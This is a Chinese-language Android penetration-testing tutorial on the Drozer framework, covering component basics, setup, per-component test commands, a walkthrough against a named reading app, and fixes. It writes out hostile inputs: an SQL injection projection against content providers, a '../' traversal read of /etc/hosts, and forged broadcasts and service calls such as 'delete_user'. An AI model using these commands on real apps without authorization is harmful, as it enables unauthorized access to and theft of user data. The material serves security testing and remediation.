安卓测试之Drozer
1. 安卓四大组件 2. 准备工作(环境配置) 3. 启动客户端和服务端 4. 相关命令 4.1 基础探测命令(先扫攻击面) 4.2 Activity 组件安全测试 4.3 Service 服务组件安全测试 4.4 BroadcastReceiver 广播接收器测试 4.5 ContentProvider 内容提供者(最高危) 5. APP测试 6. 通用漏洞修复方案 7. 完整测试流程
1. 安卓四大组件
安卓的四大组件是构建应用程序的核心模块,分别是 Activity(活动)、Service(服务)、BroadcastReceiver(广播接收器) 和 ContentProvider(内容提供者)。它们各自承担不同的职责,共同协作以提供完整的应用功能。
Activity(活动) 作用:负责界面展示、与用户交互,是应用可视化页面载体。 每个页面对应一个 Activity,持有 Window 承载 View 视图;拥有完整生命周期(onCreate/onStart/onResume/onPause/onStop/onDestroy); 页面跳转依靠 Intent 通信,可携带数据、启动其他四大组件。 Service(服务) 作用:无界面,后台长时间执行耗时 / 常驻任务。 本地服务:同应用内后台运行,例:音乐播放、文件下载、定时同步; 远程服务(AIDL):跨进程通信,供其他 App 调用功能; 两种启动方式: startService:独立运行,需手动 stopSelf 销毁; bindService:绑定宿主,宿主销毁服务同步销毁,支持双向通信。 BroadcastReceiver(广播接收器) 作用:接收系统 / 自定义广播消息,实现组件、应用间解耦通知。 系统广播:电量变化、开机完成、网络切换、屏幕锁屏; 自定义广播:App 内部页面、服务间传递通知; 注册方式:静态注册(AndroidManifest.xml)、动态注册(代码注册,生命周期跟随页面); 执行逻辑轻量,耗时操作需交由 Service 处理。 ContentProvider(内容提供者) 作用:跨应用安全共享结构化数据,统一数据访问标准。 封装数据库 / 文件数据,对外提供增删改查接口(insert/query/update/delete); 通过 Uri 定位数据,配合 ContentResolver 访问; 系统内置:通讯录、相册、短信、媒体库均使用 ContentProvider 对外暴露数据; 自带权限管控,保障跨 App 数据安全。
2. 准备工作(环境配置)
Drozer 是 Android 组件渗透专用框架,核心用于检测导出(exported=true / 含 intent-filter) 四大组件的越权、数据泄露、SQL 注入、DoS、目录遍历等高危漏洞。
将下载的.whl文件放到任意位置执行:安装命令:drozer-3.1.0-py3-none-any.whl
验证安装

3. 启动客户端和服务端
打开 Agent,点击 开启(ON) 启动内置 31415 端口服务
监听端口为31415 端口转发:adb forward tcp:31415 tcp:31415
进入 Drozer 控制台:drozer console connect
4. 相关命令
4.1 基础探测命令(先扫攻击面)
# 列出设备所有安装包run app.package.list# 查看目标APP完整攻击面(汇总所有导出组件)run app.package.attacksurface com.xxx.target# 导出目标APK的AndroidManifest清单run app.package.manifest com.xxx.target
4.2 Activity 组件安全测试
常见漏洞:登录绕过 / 越权访问敏感页面、Intent 空参数 DoS 崩溃、Activity 劫持、敏感数据 Intent 明文传递。 全套测试命令
1. 查看所有Activity导出状态、所需权限run app.activity.info -a com.xxx.target2. 直接启动导出的Activity(测试登录绕过)run app.activity.start --component com.xxx.target com.xxx.target.SensitiveAdminActivity3. 携带参数启动(伪造业务数据)run app.activity.start --component com.xxx.target com.xxx.target.UserInfoActivity --extra string userId "10086"4. 空Intent测试DoS(不传必填Extra,观察APP是否崩溃)run app.activity.start --component com.xxx.target com.xxx.target.PayActivity
风险判定:无需登录态校验、无权限限制即可拉起管理员 / 用户详情 / 支付 / 文件管理页面 → 高危越权漏洞。
4.3 Service 服务组件安全测试
常见漏洞:外部无权限启动后台服务、AIDL 跨进程接口越权、恶意参数导致后台逻辑异常、权限提升。 全套测试命令
# 1. 查询所有导出Service、读写权限run app.service.info -a com.xxx.target# 2. 启动无权限校验的后台Servicerun app.service.start --component com.xxx.target com.xxx.target.DownloadService# 3. 绑定Service并发送消息交互(AIDL接口测试)run app.service.send com.xxx.target com.xxx.target.RemoteService --msg 1 0 0 --extra string cmd "delete_user"
风险判定:导出 Service 可外部调用删除数据、同步隐私文件、执行高敏感后台操作 → 高危。
4.4 BroadcastReceiver 广播接收器测试
常见漏洞:恶意 APP 伪造广播触发敏感操作、空 Action / 非法 Extra 导致 APP 崩溃(DoS)、广播明文窃取通知。 全套测试命令:
# 1. 查看所有导出广播接收器run app.broadcast.info -a com.xxx.target# 2. 发送自定义广播(伪造业务指令)run app.broadcast.send --component com.xxx.target com.xxx.target.PushReceiver --action com.target.LOGOUT --extra string token "fake_token"# 3. 空参数广播DoS测试(不传必填extra)run app.broadcast.send --component com.xxx.target com.xxx.target.OrderReceiver
风险判定:外部可发送广播触发登出、删除订单、重置密码等操作,或直接使应用闪退拒绝服务。
4.5 ContentProvider 内容提供者(最高危)
常见漏洞:SQL 注入、目录遍历读取本地文件、未授权读取用户账号密码、批量数据泄露、权限绕过。 全套测试命令
# 1. 查看Provider授权、读写权限、导出状态run app.provider.info -a com.xxx.target# 2. 自动扫描所有可访问URI(泄露数据表)run scanner.provider.finduris -a com.xxx.target# 3. 读取URI内敏感数据(账号、密码、手机号)run app.provider.query content://com.xxx.target.UserDB/user_info# 4. 检测SQL注入漏洞(Projection/Selection注入)run scanner.provider.injection -a com.xxx.target# 5. 检测目录遍历漏洞(读取本地私有文件)run scanner.provider.traversal -a com.xxx.target# 6. 遍历数据库所有表名run scanner.provider.sqltables -a com.xxx.target# 7. 利用注入查询全表数据run app.provider.query content://com.xxx.target.UserDB/user_info --projection "* FROM sqlite_master;-- "
风险判定
无读写权限限制可直接查询用户隐私表; 存在 SQL 注入可拖库、删表; 目录遍历可读取 app 私有目录密钥、本地缓存。
5. APP测试
将测试app安装到模拟器并运行
通过关键字查找待测试App包名 run app.package.list -f App关键字如这里的熊猫看书中关键字pandarun app.package.list -f panda
查看app详细信息 run app.package.info -a App包名 run app.package.info -a com.nd.android.pandareader
确认四大组件攻击面,出现exported代表对外暴露 run app.package.attacksurface App包名 run app.package.attacksurface com.nd.android.pandareader
查看Activity组件的具体信息,出现 Permission: null,代表权限为空,可直接未授权调用 run app.activity.info -a App包名 run app.activity.info -a com.nd.android.pandareader
未授权调用具体组件 run app.activity.start –component App包名 App组件名 run app.activity.start –component com.nd.android.pandareader com.baidu.shucheng.ui.main.MainActivity
检测Android四大组件安全性 run app.broadcast.info -a App包名 run app.broadcast.info -a com.nd.android.pandareaderrun app.service.info -a App包名run app.service.info -a com.nd.android.pandareaderrun app.activity.info -a App包名run app.activity.info -a com.nd.android.pandareaderrun app.provider.info -a App包名run app.provider.info -a com.nd.android.pandareader


检测数据泄露 run scanner.provider.finduris -a App包名
run app.provider.query 具体的url
检测是否存在sql注入风险 run scanner.provider.injection -a App包名
无sql注入,如果有,执行
run app.provider.query content:/xxxxxx --projection "* FROM sqlite_master WHERE type='table'--"run app.provider.query content://xxxxx --selection "1=1"
检测是否存在文件读取漏洞 run scanner.provider.traversal -a App包名
如果有执行:
run app.provider.read content://xxxxxxx/../../../../../../../../etc/hosts6. 通用漏洞修复方案
组件默认不导出:所有非对外组件添加 android:exported=“false”; 如需外部调用,增加自定义权限校验,配置 android:permission; Activity 增加登录态 / Token 校验,禁止直接跳转后台敏感页面; ContentProvider 严格控制读写权限,过滤 SQL 特殊字符,禁止读取任意本地路径; Broadcast 增加广播发送方身份校验,关键操作增加签名校验; Service AIDL 接口增加调用权限校验,过滤恶意指令参数。
7. 完整测试流程
环境连通,执行 app.package.attacksurface 汇总全部导出组件; 分别扫描四大组件导出清单,记录无权限组件; 逐个调用导出组件,验证越权、DoS; ContentProvider 专项扫描注入、目录遍历、数据泄露; 整理可复现命令、截图,输出漏洞等级与修复建议。
夜雨聆风